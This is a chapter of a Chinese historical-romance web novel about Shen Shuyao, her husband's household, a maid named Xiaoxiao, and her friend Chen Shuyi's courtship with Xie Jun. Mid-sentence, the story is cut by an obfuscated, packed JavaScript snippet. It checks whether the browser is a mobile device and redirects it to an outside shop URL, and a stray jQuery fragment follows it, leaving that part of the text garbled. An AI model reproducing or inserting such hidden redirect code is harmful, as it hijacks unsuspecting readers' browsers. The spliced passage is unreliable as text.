谢府规矩甚多,前院和后院隔开,丫鬟小厮不能乱走动,后院的丫鬟是绝不能进前院,除非主子吩咐。而在前院当差的,基本是二等丫鬟,和后院的三等丫鬟是不一样。
晓晓就是三等丫鬟,平日只在后院走动,昨晚去前院,是第一次。很紧张,也忐忑,好在公子看着冷冰冰,人确实君子,交代了几句就让她回来了。晓晓回来后分外谨慎,左顾右盼,怕人看出她的异常,还好,夜深视线不好,无人注意她。
可是,晓晓放心的太早了。
翌日在后园打扫时,平日跟她不太亲近的姐妹凑到她身边问她:“昨个阿四找你什么事?啊,说说。”
晓晓惊讶的啊了声,昨晚他们避开旁人,没想到还是被人看见了。以往她和阿四见面,都是偷偷摸摸,就怕别人看见惹来闲言碎语,那会他们小心,没被人撞见过,不料这次这么巧,居然被她看见了。
晓晓瞥了她一眼,故作轻松道:“没什么大事。”
“那是什么事?”
她盯着晓晓,好似她不说就不罢休,为免她纠缠自己,晓晓只好扯了个谎。
“公子昨天经过后院脚下滑了下,差点摔倒,他警告我,要是再有下次,就赶出谢府。”
“啊,不会吧。”那人挠挠头,总觉得哪里不对,思索片刻又道:“这点小事值得公子特意找你,就算要训斥也是找管事呀。”
后宅的女子都不好糊弄,府里的每个人都长了七八个心眼,精明得很,不好忽悠。
晓晓只好又撒谎:“我就是个替罪羊。”
她说的委屈巴巴,特别害怕的样子,小丫头一下就信了。在府里久了都知道,若是做错事,管事会把旁人推出来顶罪,自己推卸责任,晓晓的情况就是如此。
小丫头叹气,安慰的拍拍她的肩,声音比刚才低了许多:“你得当心点,别乱说话,管事心眼可小了。”
晓晓当然知道,以前她小心翼翼,以后也会更加谨慎。
“你也别再管事面前说错话。”
小丫头点点头,手中的扫帚慢慢在地上划了一下,“诶,你…”
刚张唇说了两个字,余光一瞥,便瞧见一行人浩浩荡荡往这边来。小丫头立马闭嘴,脚下往旁边挪开点,干活比刚才利索很多。
“少夫人来了。”
晓晓偷偷瞄了眼,心跳的好快。
-
沈书瑶在远处停了片刻,问知微哪个是晓晓,知微指给她看,远远一瞥,身影娇小,面庞模糊,太远了没看清。
沈书瑶带人过去,步子很慢,边走边看晓晓。因她的到来,所有人都紧张起来,干活愈发认真卖力,就怕没做好,惹祸上身。
沈书瑶不是苛刻的主子,但也不会太宽容,毕竟谢府有谢府的规矩,谁也不能坏了规矩。
她走过去,倒是没刻意盯着晓晓看,而是往亭子那走去,石凳刚擦过,没有灰尘,沈书瑶就那么坐下去。
甩着帕子扇扇风,眼睛时不时看晓晓一眼,一句话没说。
近看晓晓,没有惊艳感,最多是清秀可人,面相倒是没攻击性,看着乖巧得很。沈书瑶纳闷了,晓晓没那么漂亮啊,不如之前那个如意妖媚呢,谢屹喜欢她?
脑袋稍微歪着,打量的眼神肆无忌惮,眼睫一眨不眨的,她实在想不通,谢屹喜欢这款。沈书瑶下意识摸向自己的脸,旁人都说她过分漂亮,肌肤雪白,身段也妖娆,怎的谢屹对她就不冷不热的?
成婚一年来,从来没特别热情的时候,当然,除了在床笫上。是性格使然,还是因为心里没她?
沈书瑶越想越烦,收回眼啧了声,脸色明显烦躁不安,在亭子内坐了片刻,便起身回去。迈开步子前最后看了眼晓晓,不知在想什么。
少夫人走了,打扫的丫鬟终于松了口气,虽然少夫人坐在凉亭内一言不发,但在主子眼皮底下干活,总归不好受。
晓晓低头往少夫人离开的方向扫了眼,深呼吸,暗叹:神仙打架,小鬼遭殃。
此话不假。
这边,沈书瑶径直回了房内,昨晚因为晓晓的事一晚没睡好,早上又去请安,见了晓晓后人更累了,回来的路上眼皮就开始打架,身体撑不住了。
沈书瑶往床上一倒,绣鞋来不及脱,就那么脚摩擦着脚蹭掉,然后有气无力的叮嘱知微:“我睡会,别打扰我。”
知微放下帷帐,弯腰回话,“知道了,您好好休息。”
一晚没休息好,眼下有淡淡的乌青,知微几人瞧得清楚,心疼她。待她睡下便关门出去,让她安安稳稳休息。
今晚谢屹不回来,住在衙门,所以沈书瑶少了许多顾虑,一觉睡到午后才起。
她伸个懒腰,在床上静坐半刻,才喊了声穗华。穗华推门进来,先是给她倒杯水,盯着微张的红唇瞄了眼,然后看她的眼。
说:“方才陈姑娘差人送帖子来,要瞧瞧吗?”
她含着水抬头,一口咽下,垂眸深思了半刻。她们两人好些日子没见,按理说见一面也无妨,但上次的事始终在她心上,让她憋屈了好几日,所以眼下给她送帖子,沈书瑶直觉没好事。
但她跟陈淑怡自小认识,双方父母来往密切,不能驳她的面子,再说这么些年的交情,不能因为谢俊的事影响到她们的关系。遂以,沈书瑶决定见一面。
“拿给我。”
穗华递给她,顺便将又给她倒了一杯水,七月的天实在闷热,不喝水的话喉咙会干。
沈书瑶大致扫了眼,将帖子放在一旁,端起刚倒好的温水抿了口。陈淑怡约她明日见一面,具体什么事没说,不过她猜个大概,是和谢俊有关。
近日没听林氏说起谢俊的事,她也不知两人如今到哪一步了。
见就见吧,她也心烦,就当是出门散心了。
-
次日,天色阴沉,乌云布满天空,光线灰蒙蒙的,午时可能有大雨。
沈书瑶怕赶上大雨,便出门早些,穗华和铃春一人拿了把油伞,以备不时之需。刚出兰园不久,就在廊下碰见谢俊。
本想掉头走,转念一想觉得没必要,有什么不能见的,她没做亏心事,不用心虚。
谢俊远远看见她也愣了一下,紧接着露出一副笑脸来,仿佛什么事没发生过一样。他按规矩行礼,行完礼没要走的意思。
“嫂嫂去哪?”谢俊说话的嗓音是温和的,听起来倒是舒服。他看了眼暗沉的天,接着道:“等会有大雨,嫂嫂不如改日出门,别淋湿了。”
面对谢俊的关心,沈书瑶没太大反应,神色淡淡的回了句:“不妨事,带了伞。”
说完就想走,但谢俊挡着她,显然不想让她走。沈书瑶抬眸,冷着脸看他,眼神询问他有没有别的事?若是无事,别耽误她的时间。
谢俊不是个有眼色的,就像没察觉她的情绪一样,继续道:“上次的事错在我,嫂嫂可还生气?”
那事过去有段时日了,此刻若不是谢俊自己提起,沈书瑶早就忘了,哪会想起让自己心烦。
不提还好,一说沈书瑶就开始烦了,脸色比刚才难看几分,偏谢俊还没瞧出来,真够没眼力劲的。
“哦,既然事情过去,就不必再提。”
谢俊松口气,笑了,“嫂嫂不怪就好。”
她淡淡嗯了声,抬脚想走,又见谢俊往她身前挪了一步,挠着头,欲言又止。
沈书瑶不想听那些乱七八糟的事,总归是跟她没关系,不过眼下想走也走不掉,她往旁边挪一步,谢俊也跟着挪一步,不想放她走。
无奈,沈书瑶只好问他:“还有别的事吗?我约了人,时辰快到了。”
她主动问起,给了谢俊勇气,他不好意思笑笑,看了穗华她们一眼,不想她们听着。穗华看了她一眼,明白了,随即和铃春往前走了段距离。
现在就他们二人,说话方便许多。
“嫂嫂,淑怡最近不理我,你能帮我给她带句话吗?”
沈书瑶挑了下眼皮,果然啊,就知道是这事,就上次帮他们牵线那事,她到现在还后悔,现在更不可能帮他。
“二弟,上次母亲的态度你也瞧见了,我觉得你先说服母亲,再考虑你们之间的事。”
她就直说了,懒得日后多费口舌。沈书瑶想了半刻,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037793|148132||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
又道:“或者,你该想想,你们合不合适?”
“嫂嫂,您这话是什么意思?”
她仰头,表情严肃,“就是你想的意思,还有,你的婚姻大事母亲做主,我这个大嫂说不上话,你若有什么想法,就跟母亲说。”
这么说,谢俊明白了,大嫂不想帮他,更不想管。不是大嫂小气,是上次母亲说的话惹大嫂不高兴了。谢俊心里清楚,此时也不敢多说话。
沈书瑶瞅了他一眼,沉着一张脸走了,没再看他一眼。
刚出谢府大门,天上便轰隆隆一声,大雨将至。沈书瑶嘁了声,心情不佳,谢俊耽误她时间,有那说话的功夫,她都快到了。
“走快点,别被雨淋着了。”
车夫诶了声,挥着马鞭跑得飞快。
-
她运气好,进了茶楼大雨才下来,要是再晚一步,大雨就砸在马车上了。她瞅了外面一眼,然后上楼去。
不知陈淑怡到了没有,结果刚到门口,陈淑怡就迎出来了。
“瑶瑶,你可算来了。”
她来晚了,有点不好意思,“有点事耽搁了。”
陈淑怡拉她进门,边说:“不妨事,我也刚来不久。”
进去后门就合上,隔绝外头的嘈杂声,耳边顺便清净了。陈淑怡点了她爱喝的茶喝点心,一吸鼻子就是香味。
两人面对面坐下,笑着寒暄一会,不知说到哪里,忽然就静了下来。陈淑怡干笑几声,再看她微笑的面庞,又笑不出来了。气氛微妙且压抑。
沈书瑶联想到出门前谢俊说的话,猜到些许,她抿了口茶,开口道:“淑怡,你是不是有事找我?”
陈淑怡看她,脸色不好看,“嗯,就是我爹,他不同意我跟谢俊来往,我,不知道怎么办?”
上次林氏训斥她的事,沈书瑶没跟陈淑怡说,这要说了,陈淑怡心里更过意不去了。
她想了想,问她:“你那么想嫁给他?”
陈淑怡静默须臾,没说非谢俊不嫁,就说了句对他有那个心思。
她咬着玫瑰饼,试探的说了句:“要不你听陈叔叔的,毕竟是婚姻大事,两家长辈不同意,亲事也成不了。”
“可谢俊说,他会说服父母的,让我等等。我拿不定主意。”
沈书瑶不想伤她的心,但有些话不说不痛快。她舔了下唇,道:“女儿家的好年华没几年,你要等到何时?等个几年,你年龄大了,不好找人家。谢俊可不一样,就算再过五年,他照样好找。”
话说的有点重了,也不得不说。
“你就没想过,你们不合适,兴许谢俊没外表想的那般好,他要是个懦弱胆怯的人呢?”
谢俊还说要说服父母呢,就凭他,哼,指不定找他哥帮忙。
一番话说完,陈淑怡一眨不眨的注视她,唇动了几下,愣是一句话没说出来。
沈书瑶自觉话重,便低头喝茶,不跟陈淑怡对视。沉默的气氛太窒息,她又忍不住,抬头看陈淑怡:“别太相信男人。”
“你家谢大人也不可信?”
“…”
-
回到谢府是一个时辰后,彼时飘着小雨,走几步路不至于湿了鞋袜。穗华收了伞甩水,沈书瑶弯着腰拍拍裙摆,将水滴拍落。
人尚未进门,知微便快步走过来,低声说:“大人回来了,刚问您呢。”
她憋了下唇,毫不在意,“问就问呗。”
出去走走怎么了,从前谢屹还跟傅应承晚上出门喝酒,她一句话没说。那也不准她。
知微表情不对,又道:“大人先去后院转了圈,然后回的前院,听咱们的人说,好像见了晓晓。”
啪嗒一声,有什么东西碎掉了。
嫣红的唇抖了两下,当即皱着一张脸,委屈的眼睛酸涩,楚楚可怜。
他回来第一时间见了晓晓,好得很,谢屹果真被后院的女人勾了魂。
刚回来的人又转头想出去,可惜刚转身,谢屹就从书房出来,一眼就看见了她。
她顿住脚步,当没看见他,径直回了卧房。
“沈书瑶。”